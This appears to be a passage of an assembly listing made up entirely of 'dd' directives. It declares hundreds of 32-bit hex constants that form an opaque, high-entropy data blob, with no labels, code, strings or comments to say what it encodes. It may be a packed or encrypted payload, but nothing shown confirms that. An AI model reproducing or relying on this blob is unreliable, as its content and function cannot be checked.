		dd 0D7108929h, 0A179DD4Fh, 98997B08h, 0A5C029CDh, 49912C00h
		dd 0D09ADDE0h, 3C8F8BBh, 726E17FCh, 7AA83C70h, 5B00E52Bh
		dd 2399116Fh, 2219C4h, 0E13D1AF8h, 0ED838EB2h, 0D343F100h
		dd 0AB634976h, 0AE900CFh, 407A56D6h, 0FE003D5Ah, 2EE7291Dh
		dd 0E6DB758Bh, 0C9BE00CBh, 0A29AB27Dh, 0DD00AA62h, 724E2833h
		dd 0FEF405h, 18498D73h,	0F37824B2h, 197B5B00h, 0B333DBAh
		dd 5972FCh, 4A41E8A2h, 23E25CD1h, 0D981FB00h, 29F263D2h
		dd 0F534009Ah, 9E9D04DFh, 3C07CD17h, 0EC82D806h, 0C702BCC0h
		dd 34B1023Ah, 2F55F6AEh, 0C89E12C1h, 0D100E5BDh, 6A389FF4h
		dd 0F24E5F21h, 9605001Bh, 81E4200Ch, 3486CC5h, 0B62900BCh
		dd 0B3A2692Ah, 0F1AB0039h, 0AE0C581Bh, 0E83AC434h, 1822097Ah
		dd 9D810069h, 0D0DF7Bh,	71CBD357h, 14A62A5h, 64E3D700h
		dd 46D4F08Ch, 10D56059h, 0F3475CF6h, 667FAB0Bh,	8B2700C2h
		dd 3F4BE80h, 26E0C32Bh,	88006D60h, 0FE8DB428h, 3AFCACh
		dd 17349DFAh, 218696DDh, 72607700h, 7EEF8DD3h, 309B065Bh
		dd 108F20CEh, 1449A500h, 0C68E28C8h, 89271EC5h,	842600C7h
		dd 340A3CBCh, 915F0903h, 0D0CA323Ah, 15AA34Fh, 0AD66557Fh
		dd 0C0DE308Eh, 0F700B216h, 51AE23FCh, 260799h, 2A6F7EE4h
		dd 6A92BCD5h, 2901C500h, 0C18811BEh, 0F4A0FF60h, 987000FCh
		dd 581C2D93h, 3B1E4C14h, 99C0F504h, 0A7F0ADB3h,	0E27C002Ah
		dd 690E3C5Bh, 4B7911A8h, 0BE8F3E00h, 90067FF6h,	0A27D0976h
		dd 2B00055Eh, 6664E872h, 1AB7841Eh, 40C053DEh, 0BAED222Fh
		dd 83FA7Ah, 0F10A7816h,	275C12Eh, 0CB4A4B00h, 18E1BABBh
		dd 6C670072h, 0A61D9A8Ah, 493C6387h, 0AD7D1E43h, 0C000E913h
		dd 0F773A4D8h, 2F7E0007h, 419EC946h, 6F005F95h,	1DE45716h
		dd 692411h, 0C4C68F4h, 0F1B02173h, 9E2C3000h, 6A85C87Ch
		dd 40513BE8h, 78121500h, 297FF8Bh, 9326C000h, 0D4E66B64h
		dd 8AB8005Ah, 0DF0B766Ch, 5801C99Ch, 0E42ACA09h, 2ED91D26h
		dd 5511A03Eh, 8694E909h, 67800C0h, 781E96h, 0FC6175B5h
		dd 31630932h, 8E025200h, 0F8D95CF0h, 84600A9h, 0BB131B35h
		dd 4D0030CCh, 21753B0Dh, 0C09623B5h, 22EF92F0h,	39EAA77Ah
		dd 28F37400h, 21905B3Fh, 0D8E1039Fh, 0E200225h,	9087379Bh
		dd 0FC78FEC6h, 6F441A00h, 0A1C0AF76h, 0F17AE3h,	5EE91088h
		dd 25E7310Bh, 241A560Fh, 0B620C75Ch, 0D3E12D30h, 0CCE90060h
		dd 0EB6C0270h, 0C9012FF4h, 0A99C75C7h, 0E9D032CFh, 313018ACh
		dd 39E20820h, 7B001BECh, 0F76F4FDh, 82D23Dh, 0F3A5A881h
		dd 3E470374h, 34D0480Fh, 0C9BA802Fh, 58CC3Ch, 0EB7F3AF1h
		dd 65AE9F54h, 589858h, 15D703D3h, 586F41A8h, 7C000A8Ah
		dd 0F658365Ch, 0E1007B33h, 537130CDh, 28A5B03Bh, 3F909CB2h
		dd 321C158Dh, 62F4319h,	3D9826C5h, 0DD1CA885h, 0B580EE64h
		dd 7A1FFBD8h, 18300080h, 3DC2B396h, 0AA00F5D1h,	6CB57952h
		dd 0C3B2DDh, 0C4364575h, 0AE6837Ah, 0ACFB4428h,	0B1133203h
		dd 0B7B4E809h, 4015D872h, 320DAC0h, 16727105h, 35A05BE3h
		dd 85048FBEh, 624546B4h, 0DD5C7CC0h, 5F5A183Ah,	0D4E91061h
		dd 4C896800h, 0D57411Bh, 0D62526A4h, 51238038h,	21AD8B5Bh
		dd 0A5CB4B00h, 1ABCF6ACh, 0B41E07B8h, 0D0EA1864h, 0F56B7CD6h
		dd 0D207A400h, 77E59B35h, 0FB3200C5h, 0D4F346EFh, 0CE00CA36h
		dd 60C690D0h, 0ED7BD8h,	9344B7F2h, 9F61FF73h, 92EA7800h
		dd 0B53526E1h, 0AC023C33h, 0B82CA980h, 0CCC1E8E7h, 1009A0FEh
		dd 3EB9E0Fh, 90618454h,	0D92D39h, 40FC18BAh, 4B65E5CBh
		dd 90ABA300h, 152A5DFBh, 0B1B4000Eh, 0F2ACAA77h, 600449Eh
		dd 40D3DAE7h, 7557D467h, 15C112CCh, 0DBCC0073h,	441E26BEh
		dd 0D4E39A12h, 12507800h, 336DA9h, 0C3B99166h, 0A3B114BCh
		dd 6792B500h, 75170968h, 0B6E116E0h, 451400C1h,	0AB06DB6Eh
		dd 0D65CD800h, 8644845Ah, 6C1F280Bh, 0F72100A8h, 0D4E82E43h
		dd 0FB001448h, 0A6FE6D3Dh, 50D771B6h, 0CEE785h,	8333B9Dh
		dd 0F2393C57h, 1D01FAE0h, 3DC10B41h, 93D8F1EFh,	16EB0009h
		dd 0BF709EE5h, 5424AE74h, 8C0EFCB4h, 57EC80D0h,	0B0C559B9h
		dd 18C00040h, 0A4B8C1E9h, 1A00F369h, 628E602h, 0FEE43BCDh
		dd 6E5D00BAh, 0C24A991Ch, 0B6001E43h, 0E6B93F91h, 0FDCA10h
		dd 0B820FFF6h, 371C7B53h, 5E76E400h, 45110474h,	100F03C1h
		dd 20921848h, 2FD047B8h, 4D00F87Bh, 41A9AFACh, 2F373C01h
		dd 5CD6192Dh, 1740EF1Fh, 0B3BD5E5h, 42403B91h, 7101B13Fh
		dd 0D8848667h, 0E40CE89Dh, 0E81F4C00h, 0AB99D3A0h, 8CDE0068h
		dd 0E92FD66Fh, 3100D2BAh, 66AE7058h, 0F2358798h, 30940786h
		dd 60648C56h, 0D9E9625Bh, 1D217D01h, 4AE08957h,	26737470h
		dd 83848367h, 0E8D2AFD4h, 20F381E9h, 61023E4Ch,	4FA24470h
		dd 7A9D80EFh, 80F78Ah, 942BA88Dh, 3A506265h, 0CF331D1Ch
		dd 31004866h, 5DBD6D77h, 2AC3000Eh, 0A6019D28h,	8C041694h
		dd 72D5881Bh, 7F9B4080h, 0DF25009Fh, 0E732C268h, 5D009A1Eh
		dd 2DB63A6Dh, 2C8EF12Eh, 3D981AFBh, 4D0029CCh, 0B4BBC55Ch
		dd 0B5000871h, 0E64F75E4h, 148F6364h, 87AC24DAh, 9F8A0E00h
		dd 0BB047103h, 8C745F00h, 417EDDE0h, 3F2000C7h,	0BF0277B8h
		dd 3CFC63B3h, 0DDCD1B00h, 6CC3701h, 4A470C09h, 81C4BAFh
		dd 0CD406C0Fh, 173B204Dh, 1D77DC96h, 707EF1h, 0C724A55Eh
		dd 0AB00F709h, 0A03C4AAFh, 0C1CB33h, 0A65AE665h, 0AC67E0EFh
		dd 907E0B00h, 4EAEF72Ah, 0BE8B007Bh, 4182E448h,	8003675Eh
		dd 944599C7h, 7ED49076h, 0BF893B8Ah, 17EEFEACh,	2AA60001h
		dd 8DB2EDC8h, 0EC5B2126h, 3B37B700h, 764D6Eh, 0BF7D69C7h
		dd 0C6239910h, 8E241B00h, 75DCF195h, 5579001Fh,	0FDB0B349h
		dd 0C4E2B95Ch, 5DEB2600h, 5122AAB6h, 40717212h,	0C0001ADBh
		dd 7FE1A190h, 77737E30h, 1FC90E0h, 0D0852265h, 0E19309A3h
		dd 2068E0CDh, 8057C00h,	7E2E013Eh, 0EC81009Ah, 846BA533h
		dd 0E21887F4h, 9BB98FBAh, 8BE6D4h, 635A9950h, 342A9D38h
		dd 44E9782Ch, 87BAC200h, 7F56B989h, 4F7F93h, 9820DF55h
		dd 0C27A231Bh, 0F800F34Ah, 30E5A17Fh, 0F6B8C0A4h, 2AB4AD7Ch
		dd 0EFFC2707h, 5BF7D143h, 904CA640h, 94E064h, 0BFD216F7h
		dd 2A3DD97h, 693D3Ch, 56D157DEh, 407F250h, 0B3EE1A27h
		dd 0B4ABC078h, 12B872B0h, 9CF62C1Fh, 506F8AC0h,	1F1CD24Eh
		dd 5C4DFE33h, 0C6AE0177h, 8B15E9DEh, 20B3D88Ah,	0D44F577Ch
		dd 380C0095h, 0BECAC86Eh, 0E800DFA6h, 0E44E39BDh, 7C7888Dh
		dd 8B07EF30h, 773E0068h, 4200276Eh, 7F35FA95h, 0EDB217h
		dd 0A267990Bh, 23F960F0h, 57F8C902h, 70367335h,	0AE9700ACh
		dd 62B8C89Bh, 9CF43B4Dh, 54793A03h, 0DC750Fh, 0DA9EDE48h
		dd 0D12E18B1h, 930004B0h, 3F412BA3h, 0FA79DC9h,	571AA989h
		dd 0FADB5280h, 4F0E0A2h, 0D47EF305h, 0A001995Fh, 0CBDFD87Ah
		dd 6069F4h, 5BAEF94h, 136568AFh, 0BF281F00h, 6D5E35B2h
		dd 0F1440075h, 0CC815F4Bh, 0A5F2B97Dh, 94E9003h, 0F01806D3h
		dd 3AD03D9Bh, 48057C1h,	26E30284h, 3C00C5CDh, 89DD9033h
		dd 0FADC3E2Ch, 0D1B0FCh, 740B70B1h, 0C02188D0h,	0B9732300h
		dd 3CEF0468h, 0B1E60192h
		dd 0B7F88D26h, 0DC188083h, 0F45C1881h, 0D3623AABh, 79C6518Eh
		dd 965F2F00h, 7100EE13h, 0AAFC309Ch, 0D6E11Fh, 2C0D5C1Eh
		dd 159869CFh, 0F1940C00h, 4EB5EF26h, 84AE0021h,	28127A3Fh
		dd 29242FB8h, 0F1000BBFh, 5FEAC258h, 933FC80h, 0A5E1F83Eh
		dd 504FA907h, 1D6EC045h, 2D056BFCh, 6B66AABh, 17247F80h
		dd 0D5B100BCh, 0E52EA490h, 400EB0D6h, 80F225A6h, 970DD42Fh
		dd 3DB40013h, 0E75CBDB1h, 270019AEh, 0C9ECC6EFh, 9C369Eh
		dd 0B472946Fh, 0D0CC33F3h, 0E545F100h, 86BC82AFh, 22390420h
		dd 0C00A5997h, 7E900679h, 0D7001DFCh, 0A5B2606Bh, 7E8D9561h
		dd 73640365h, 700C4492h, 40B5F0C1h, 0FB616A8Bh,	35DF3B00h
		dd 20538C9Ch, 48A2009Ah, 0D82CD07Fh, 1E1CC2DEh,	5C8062C1h
		dd 0F420329h, 4041C0F6h, 4A585A7h, 2B076272h, 53BD9B84h
		dd 1AC6B210h, 0BC41886h, 0F80909DBh, 63FA3100h,	8F696E5Eh
		dd 0F2BF077Bh, 0C0BEE74Ch, 0C445B946h, 7AA5E539h, 31B441F9h
		dd 8543308Ch, 0B79B0300h, 1EEF4172h, 2DD000D8h,	916AC859h
		dd 693D252Ch, 0DF00776Eh, 8294AD24h, 14B114Fh, 3AF13848h
		dd 0F0A29D22h, 0D1001014h, 42FC7629h, 50BD5312h, 0CADCBEh
		dd 0C49DF366h, 80FD7A3Eh, 0DC805298h, 6C1D112Ah, 5008F8Bh
		dd 0DF67B86Dh, 35B93F4Bh, 0C565F880h, 807FA103h, 0A972370Eh
		dd 548EE0EAh, 3F0499E0h, 800CE4Dh, 0D798FB0Ah, 0F55C8342h
		dd 39B60345h, 0E0178Bh,	0A1FCDF1h, 0B3B8FCDEh, 153D532Eh
		dd 0DCAE540Eh, 8F103618h, 0D7FE0C6Eh, 0BD08B68Dh, 1560281Dh
		dd 8014DC0Eh, 54273BEBh, 30386017h, 67CCEF08h, 835D3539h
		dd 0E11E4E19h, 127009C4h, 9487E7F3h, 7408A353h,	78BC49C8h
		dd 0B6D72300h, 98FCB2A9h, 75383A60h, 0F79A7980h, 5291D84Bh
		dd 0C7160604h, 47C0B9B7h, 7DD4C5h, 1FD7559Ch, 3E968932h
		dd 0D9E08700h, 0EB7137E2h, 0AF9B3F11h, 92D2D380h, 0BEB88EDCh
		dd 2B697D02h, 0E036B6B7h, 19E59Ah, 805E17AFh, 0F576F046h
		dd 0C8397FE8h, 316E0C07h, 0E1316Ah, 9D8FC58Ch, 9A1F1BCFh
		dd 3B01C278h, 0C35E61B5h, 26FC2DFCh, 0EEAE3065h, 7C3F37F0h
		dd 250A2000h, 2994285Bh, 0B518006Eh, 0DAA5F0CAh, 0AF0006E8h
		dd 9AFE4DC5h, 7114D2CCh, 0C12400D4h, 0F242EA69h, 0E1004749h
		dd 710E986Ah, 785BF3E2h, 1EBD07E4h, 0F0F2115Dh,	83E64147h
		dd 0B07880FFh, 0A721E526h, 0E9EF00C8h, 0CF25D3FBh, 0C103174Fh
		dd 1A75434Bh, 32789161h, 1D3537E8h, 47BDDB23h, 70B242D5h
		dd 67BB8A03h, 2AFA3Dh, 0E312811h, 598E7Fh, 0BE0A5D52h
		dd 0C7142FAAh, 0F100A8FEh, 37CD2851h, 0FE5CB9Ah, 68BC4E27h
		dd 865AA4C0h, 231DBDAAh, 4DC34FAEh, 80A993A3h, 0CDCA7Ah
		dd 95099E24h, 148D7C7h,	32EFF703h, 985C1B27h, 4BD341h
		dd 54BB0E50h, 0B135CA82h, 36C1A700h, 0B87C92BCh, 2F320091h
		dd 19F2E1ADh, 2A00D4EEh, 23306E7Dh, 8D397C8h, 89B24159h
		dd 0CEAB6100h, 0D98581h, 0A32B193Ah, 71CB45F2h,	0AF540B01h
		dd 3FEA0F94h, 58E03DECh, 85003B6Bh, 0A21EEC12h,	0EA9802DEh
		dd 82E9270Ah, 400CA10h,	0DC1D53ABh, 3C10066h, 0C61CB420h
		dd 0F100417Dh, 0C4A676C7h, 0BE108Fh, 672BB2CBh,	2043AA5Dh
		dd 0DD54497Ch, 1300C41Ch, 0AAC5E318h, 0D528ABh,	0D8A9905Eh
		dd 0C8F00C8Eh, 45DC6905h, 0DC003125h, 2A9EA543h, 0A76A004Fh
		dd 0C1BB4877h, 0FC0E0A32h, 0E091F035h, 56A35F07h, 0B6730029h
		dd 0A2211D18h, 3C39B2E5h, 7D583D6h, 80EA1931h, 92E313h
		dd 0FAF83AA3h, 0ED47AAC8h, 8BCD0E00h, 63A9BE46h, 49570017h
		dd 798214D7h, 0A5B03ED6h, 0E4F37600h, 0AE1C7A15h, 0CC9E1E21h
		dd 0B6F7C087h, 0F5F1887Eh, 0DC98D600h, 0FFF86C24h, 690B0007h
		dd 66CCF368h, 3C00DEC5h, 0A74D70F4h, 0BB41D5h, 9B240E56h
		dd 8FB130D6h, 0E598521Eh, 3FB5037Fh, 801EC112h,	621AD8h
		dd 94E995F1h, 7F031750h, 29205E00h, 42E00DEDh, 0DC1E38E5h
		dd 160C9D80h, 0E3C6046Eh, 0C810880Fh, 0EE942062h, 4271CDh
		dd 0E5AB9F92h, 0FB6B642Dh, 0FAE06100h, 208F0667h, 0F8EE2028h
		dd 0B2EA261Eh, 0E0B5B380h, 2A9FDFh, 0AD6834AFh,	0D9F1FC1Ch
		dd 37F2FF00h, 0AB8D9094h, 2C12001Bh, 577CD1DDh,	3403C19Fh
		dd 9CC8B66Fh, 0C2E088EFh, 5D9E00FBh, 98831D5Ch,	0E400D3D9h
		dd 0C80C374Bh, 0B6EC40h, 1BBD0AD5h, 211613D8h, 0DBCF8600h
		dd 3F09C94Eh, 4625000Fh, 346D635Bh, 2A0044C3h, 0E977CA5h
		dd 0FB2BE1h, 0CA524A4Bh, 280A187Eh, 0F6F0AC37h,	0AD8070E5h
		dd 7633A6Fh, 0B201389Ah, 0A8B6218Ah, 0C97FC4E8h, 0A5CA5400h
		dd 0D6684178h, 8F6A0E87h, 49C3720Ch, 0EE9023F7h, 0DD001ED8h
		dd 275EEAF4h, 39B32E6h,	5133BC14h, 56B847E8h, 0A10184C4h
		dd 941D0C86h, 0B1C4A0F4h, 53C11C2Dh, 71A4C91Fh,	91FC7C2Ch
		dd 0DD2A8801h, 0EACECD6Dh, 96F5C24h, 9A281F29h,	1D0FE00Fh
		dd 8324AA23h, 0B60D2100h, 0EEE9BC7Ch, 40F212h, 9ACF95Ah
		dd 29493B04h, 6530827Ah, 24E488E0h, 97B8004Ah, 921AE2F4h
		dd 0D5247566h, 0B41D084h, 6034F33Dh, 0A64400EDh, 31EE4102h
		dd 6178D671h, 612E35Ch,	5396E03Fh, 0E81A4A59h, 0E8FA0172h
		dd 93D6277Bh, 6E57B020h, 81C0203Eh, 96D85630h, 6B54C06h
		dd 0E933Ch, 0F70B5F60h,	7EC73BF6h, 3A03FD06h, 3887A1h
		dd 7581E522h, 3D19D27Fh, 80B69738h, 32AB91FCh, 3805D988h
		dd 6B0048EDh, 0C44ABCB4h, 0BE3B2296h, 0C5368061h, 14B590F6h
		dd 0C85000Ah, 503C5AAFh, 173A3B24h, 0A11200A9h,	0EAAC4D66h
		dd 6749879h, 0D4C73FE7h, 72001149h, 29C19AC5h, 7DCA1A4Ah
		dd 747AE806h, 0DD74F5h,	2874E541h, 0E4FBEAFAh, 712DB07h
		dd 38E6ADAh, 0F8D8B4E8h, 0C07AD74Ch, 0AA1A8A50h, 2E0033F5h
		dd 4FE687D5h, 0FE687Fh,	43902AF1h, 310B541Ch, 65E57E01h
		dd 9BECEEE4h, 0BACC39FDh, 44AB0057h, 0A6928FFAh, 0C0053E56h
		dd 0D63575AEh, 3904DC07h, 5080A08Ah, 0DD77C2F4h, 0B1D70008h
		dd 7F92E634h, 0A81C1B1Eh, 2840C1F3h, 4FFA55A0h,	0EC2F4FCCh
		dd 639E0074h, 0B0109A02h, 0EEC6056Bh, 0C79B4Ah,	33EA7404h
		dd 1A00B12Bh, 1F1351BDh, 420F46h, 0F64F0CDEh, 2A0AD404h
		dd 9F8F6800h, 9341BE20h, 0FFE6E0h, 6DC4E4C6h, 0BFB3A718h
		dd 8023C73Dh, 28B807BBh, 3C09B736h, 0A0001C3Dh,	37956E93h
		dd 0D700916Ah, 7D602D4Ch, 18A3CD0h, 318B49A5h, 0C4C3A1F5h
		dd 3001DE7h, 0E970BC91h, 0F621C1h, 0F8128F73h, 0D0993E05h
		dd 9023948h, 5BD1CA6h, 0C080146Dh, 7C26F9h, 785FDBC2h
		dd 879D8240h, 33673A00h, 4F5E593h, 176F0756h, 30A7BE84h
		dd 975F73BDh, 0C967780Fh, 8956A0B2h, 0F07B54Eh,	0DBE192EFh
		dd 31160052h, 73C7AA34h, 3B560100h, 3FB06C89h, 0CFC4001Ah
		dd 9B85139h, 6E1CCB8Bh,	7340781Ch, 6CD324ECh, 1BDC03ACh
		dd 0EDCD045Bh, 0C8E0A1C8h, 9106B900h, 50849A96h, 45BF0089h
		dd 172C86BBh, 0F300F5BAh, 0B4378F23h, 2ACD24h, 0EE2EC903h
		dd 6D4D6592h, 79D9D300h, 0BBDDF11Fh, 0A96A00E6h, 0D59951D6h
		dd 80B895FDh, 287D9300h, 3897604Dh, 0E44F036Dh,	64D1852Bh
		dd 0B4D5DFE0h, 0AB55BB00h, 0EB114D94h, 567000A2h, 8FC54B8Ch
		dd 0C008279h, 0BDD1E531h, 0F9D4E2h, 691E2C66h, 9F9D12AFh
		dd 7E0F83F4h, 608742D7h, 0D2A04826h, 0AAFA00EEh, 7BB87260h
		dd 0EA0063D0h, 70C829ABh
		dd 30E4CEFh, 0E9D21065h, 0B9D07A99h, 0C5FE677Ch, 90162874h
		dd 0C0037686h, 0E811C69Fh, 7EF3AFDh, 0CD3EC353h, 476A6004h
		dd 8A00058Ch, 881BE9D9h, 0D1F045h, 3D24B3B1h, 0C713AF7Bh
		dd 0F64C1000h, 0E3FE3287h, 981100F1h, 0E663F91Dh, 0EA002CC8h
		dd 2F5DC66Dh, 304CAFCh,	6A3B1226h, 0A890BE66h, 7F6B2EFh
		dd 0A438FA00h, 0F2B8E888h, 7E940E17h, 0D520696Ah, 0F4EC925Ah
		dd 5435D600h, 0CE1A755Eh, 0D4F017h, 5DA8BD53h, 58FA4F20h
		dd 657BF600h, 7449C13Eh, 727E0038h, 770A5AC7h, 267BED56h
		dd 2C55FB0Ch, 9450FAh, 987D9F42h, 0CE489030h, 7E333Bh
		dd 0B7CBF2C4h, 0F1D9D4h, 2A1DDB88h, 5424273Dh, 0C56CF300h
		dd 0DDEA8A80h, 77433F3Bh, 7F238800h, 2A74D1AEh,	0A525400h
		dd 951D19D0h, 2E0D0042h, 1E8D449Dh, 0AD00C522h,	5E82EC12h
		dd 1113CA0h, 65494A45h,	0E00AB6C9h, 7800F571h, 0B07D4EF1h
		dd 7C49299h, 84CA65F3h,	0EE7C9086h, 627F25C0h, 0EA1DC6C3h
		dd 0C8A1D3ECh, 0DACB6Ch, 302A466Dh, 47758A8Eh, 0E6AD3300h
		dd 0BCAE3BBEh, 0CC910010h, 0BD6220CBh, 0BF3E9C37h, 0F5AC0051h
		dd 5077BED8h, 7F630044h, 0D7889929h, 3007A595h,	7B3E0276h
		dd 0D12527C0h, 0E8EB00BFh, 536C4589h, 31001875h, 9508B7Ah
		dd 20191Bh, 499C52CAh, 0AF981CB3h, 0B70ADD7Ah, 0CB15BACCh
		dd 47EBF501h, 45195A1h,	0EAE8F44Dh, 0A3DC01A4h,	5945B637h
		dd 14C20EDh, 4C338B0Bh,	4D0D033Ch, 0CC90B871h, 34100BDh
		dd 0B01FFAA3h, 2A00D9E3h, 79BCE22Eh, 677A2497h,	0D0A1A8AAh
		dd 7C2D6A95h, 6011700h,	0E5DE651h, 637343h, 9ECB08Eh, 561BF179h
		dd 4B01C0FCh, 0F6E22F9Ch, 0CC818AAh, 255F0004h,	6B4654D5h
		dd 3100821Dh, 0FBCB4D17h, 78BDF905h, 792217E3h,	0E26700E1h
		dd 273E667Eh, 0FE1C9300h, 0C254D6E9h, 0B19907ADh, 0D1925D25h
		dd 200F1F0Ch, 75000B28h, 9CF306F1h, 0CD6915h, 23A4DBD9h
		dd 97185BFEh, 470BD200h, 3A4BCEB7h, 3838603Eh, 0BF7FC5F9h
		dd 87006A7Fh, 96EF1267h, 5A0865h, 688C819Eh, 2498EA7h
		dd 2B5DE500h, 1F177B58h, 0ED4B0045h, 67F30F42h,	4404F9B8h
		dd 91BA3B96h, 71E14480h, 1C4EC02h, 0C393DC4Dh, 0EC64B640h
		dd 0D7008321h, 57C72B77h, 1D8F4A47h, 0C026E811h, 18E92302h
		dd 21142459h, 0B458B7h,	5D748220h, 39453A16h, 738164FEh
		dd 4DFD1A97h, 0EC21D199h, 9D004E81h, 0BE0190F5h, 321819h
		dd 0C671ED83h, 1F6202AFh, 3B404C00h, 8BDE55Fh, 0A56B0128h
		dd 733A6423h, 3DBC3091h, 9A201200h, 1B63BE49h, 0CFE70B8Dh
		dd 7901EA15h, 6036B108h, 0FD006F26h, 0CBAF1ACh,	8A39D8h
		dd 0F3B7E88Bh, 69739916h, 0D345B500h, 0F5F9B1D0h, 527F24B4h
		dd 150B0090h, 862D0DFAh, 2B01967Eh, 3479F316h, 0F0805EDAh
		dd 0A41A3A8Fh, 4002439h, 0F2982060h, 16F690F3h,	0B80116BCh
		dd 6B5800D3h, 28E26CE9h, 777652h, 9AEE9E0Dh, 0DE01869Dh
		dd 92D0C13Ah, 2C424E4Ch, 0B127B6h, 0EE11D797h, 0E3055100h
		dd 109D469Eh, 1A4E12AFh, 404E12C6h, 64C1CD98h, 0DF07A07Eh
		dd 6E897A87h, 10EC4940h, 0D0F400B5h, 63348B26h,	0A63FBF2Ah
		dd 826A00A7h, 0CB480191h, 2B0800C5h, 0CFD6B6FEh, 473971DEh
		dd 217680F6h, 3F27F228h, 8C007E4h, 908B5E19h, 0AF8A5DBEh
		dd 3D735300h, 5C40019Eh, 0A3D14870h, 0CD3AC701h, 0F846D89Ah
		dd 0BE02A10Ch, 1042CEB1h, 74E6E027h, 0B30002Dh,	6C56715Dh
		dd 0A82424C1h, 5200A65Ah, 47423C44h, 0C09132h, 7BB1F509h
		dd 0AD00B9FAh, 0E8FCB45Fh, 0A9344Ah, 5330337Fh,	1852FE8Ch
		dd 43B09C1Fh, 2800A0ECh, 0E4B8DD7h, 95B60061h, 40D892B2h
		dd 1E0F2B2Eh, 8BB30Ah, 8F8374FEh, 7EAD0035h, 0A6CAF8C0h
		dd 0AF245A82h, 2A01D063h, 60C5B38h, 7D914C60h, 61560029h
		dd 55A17BDEh, 0D400EE12h, 53ABA39Ch, 0EAE50C01h, 700A0F56h
		dd 8F81BC19h, 6A39322Ah, 4D14A0h, 725855EDh, 0E4D8757Bh
		dd 0A1F31D00h, 30252932h, 36D500F0h, 9A1AD67Ch,	0B10019ADh
		dd 0C3012F37h, 10DED05h, 0DF4921FFh, 0F0B7DD8Eh, 31012B36h
		dd 0BA2526BEh, 0EE07A1Ch, 561200E2h, 1E107458h,	0FA3E4860h
		dd 8F02641h, 80771980h,	1EEBC062h, 807439BBh, 0A4477361h
		dd 71008AD9h, 1E9D9C51h, 3A8B07C1h, 0F4DDDCh, 0F7194537h
		dd 0BE027877h, 22FB5100h, 5D0E8148h, 53660025h,	776B7329h
		dd 5700C0CBh, 9295DCFAh, 0D0462Dh, 300F4A74h, 10376DD3h
		dd 56D8BFh, 922B2AF7h, 1EAC2F04h, 64292807h, 6370FE24h
		dd 3CCABB10h, 708372CDh, 0B5E2AD7Eh, 5C9BE900h,	41B7BC6Fh
		dd 507835h, 1CFD4063h, 44F11595h, 0AD088200h, 0D946254Eh
		dd 2C1024F5h, 41521DEEh, 35E56B63h, 20B7F0A7h, 0BC5D4Ch
		dd 4CE60156h, 8ECAA4h, 92E30BE0h, 1A460FB4h, 49CC4300h
		dd 9863401Fh, 0BFE426EAh, 1B6D872Ch, 0FF62537Bh, 0E8E1FBCBh
		dd 0B6617021h, 74C3124h, 6D87A000h, 54DE327Ah, 7C5ACDBh
		dd 314551BDh, 0C8EC0F9Ah, 0A5A0EB10h, 6B728335h, 2C84D8B7h
		dd 0F9C6FE0h, 0DE609CE9h, 7F3B3348h, 61B76C00h,	0DF80FDC1h
		dd 0AA7F47h, 4E145C0Eh,	1AFFA42Fh, 516AB00h, 0DA82EF5Eh
		dd 3748C0D4h, 752D23B4h, 0B5A9FD00h, 611A5F4Bh,	1D6E0155h
		dd 6C5D6B27h, 2B2FF425h, 0D9589471h, 2A1C7DFBh,	0ED064C19h
		dd 1218840h, 0D6957A0Eh, 0C0F88F0Ch, 510781D3h,	66378E49h
		dd 0C1A30690h, 0C20F1D7Ah, 0EFDB47C3h, 47D35738h, 4E86C0D7h
		dd 8101DA03h, 0D80622A8h, 0A8CB35D1h, 0EE29F5F2h, 0A16E061Ah
		dd 0C0DD4DF7h, 0EBCDF401h, 0EED09BEAh, 67B5C440h, 99DA00C4h
		dd 0A752A437h, 12008C6Bh, 0EAA53D14h, 18E72EDCh, 90D4FEB2h
		dd 54B85D8Bh, 0D70290FCh, 32C33963h, 3C98E067h,	0F2A700EFh
		dd 5BF5DA18h, 9F07CB68h, 61B876C3h, 2EEF0950h, 0A6133D2Ah
		dd 29223780h, 5DEA4443h, 0B632600h, 50B28388h, 0E00C000Fh
		dd 0EB6EAE49h, 730078E6h, 7E90316Ch, 0DB3E46h, 0C33F37D9h
		dd 1F989245h, 5B07F0E6h, 73C56BCh, 77FD9BE0h, 78860021h
		dd 0D491CCAFh, 0C0000DBFh, 0C3A40C54h, 1798FCAh, 6940708Eh
		dd 0DC0762C6h, 5E009297h, 45A0D760h, 31AED4h, 3B72C3FEh
		dd 53112DE1h, 0EEBBE400h, 74EC5286h, 0DAD100AEh, 0E54C7305h
		dd 8B17E1E3h, 0B80057AFh, 7048E7B0h, 8A3B00CEh,	3237846Bh
		dd 9605747Fh, 7BDEEA0h,	0C828440h, 69BFF6h, 93ABDADBh
		dd 1B9D9FAEh, 0CC5A9B26h, 94B56200h, 433AAA8h, 93DEF71Ch
		dd 44D0C07Eh, 0DA12508Fh, 60C00C8Bh, 34914EAh, 0A3480976h
		dd 6BF0697Fh, 3C904BE2h, 5D6D280Eh, 33806F41h, 0DAC81D00h
		dd 0ADEDACh, 0D970CC5h,	27C7F07Dh, 0E4B79409h, 2D5840D7h
		dd 0C6061C8Ch, 8B3EC051h, 0BD1FE548h, 8458BC79h, 0D5D05A0h
		dd 0BE00B029h, 78C92497h, 0A020CFC0h, 0CBBF431Fh, 0B83ED8C8h
		dd 2D3D0249h, 0B0C48Dh,	0F840DE4Eh, 45C6C90h, 18FE00BDh
		dd 55E96E82h, 0B59C078Bh, 80E236A8h, 0F6D981C2h, 0C7CAD22Ch
		dd 0A2CBF900h, 0E14B2E56h, 72B909D8h, 0B6B80416h, 833DA017h
		dd 1D85195h, 700031A3h,	0CA8CC52Bh, 11AD1Ch, 14459733h
		dd 3156241h, 0E578507h,	9E70E44Ah, 7F1A1Bh, 8CD11305h
		dd 6660C736h, 2E36894Ch, 77007462h, 0A71B9ACAh,	0EF4B13CFh
		dd 8E4C4241h, 9C8321FEh, 2A1D6A88h, 0D0095615h,	0EB7440DDh
		dd 3149000Dh
		dd 0DAB577FAh, 1250A3CEh, 8B0AE7B8h, 987F814Bh,	0B63BC802h
		dd 69448038h, 7B2DB7h, 0D6A40629h, 180C0958h, 0E551C02h
		dd 69C9B538h, 9660F044h, 24D00FFh, 0A42A48DAh, 672414F8h
		dd 0CF809862h, 1EFE069Ch, 0E660F09h, 0BC40B3D2h, 0E997B41Bh
		dd 0AD505800h, 2C788071h, 9B38175Ah, 81105FD7h,	680F54CBh
		dd 0FD19C41Ch, 0A914EE00h, 0A7B573D8h, 0B9A300DCh, 8E43D75Dh
		dd 6F134518h, 28001025h, 21D3847Fh, 470284Ch, 19DC0488h
		dd 873533BEh, 0C0893403h, 0C9483AC6h, 63960601h, 3FB56431h
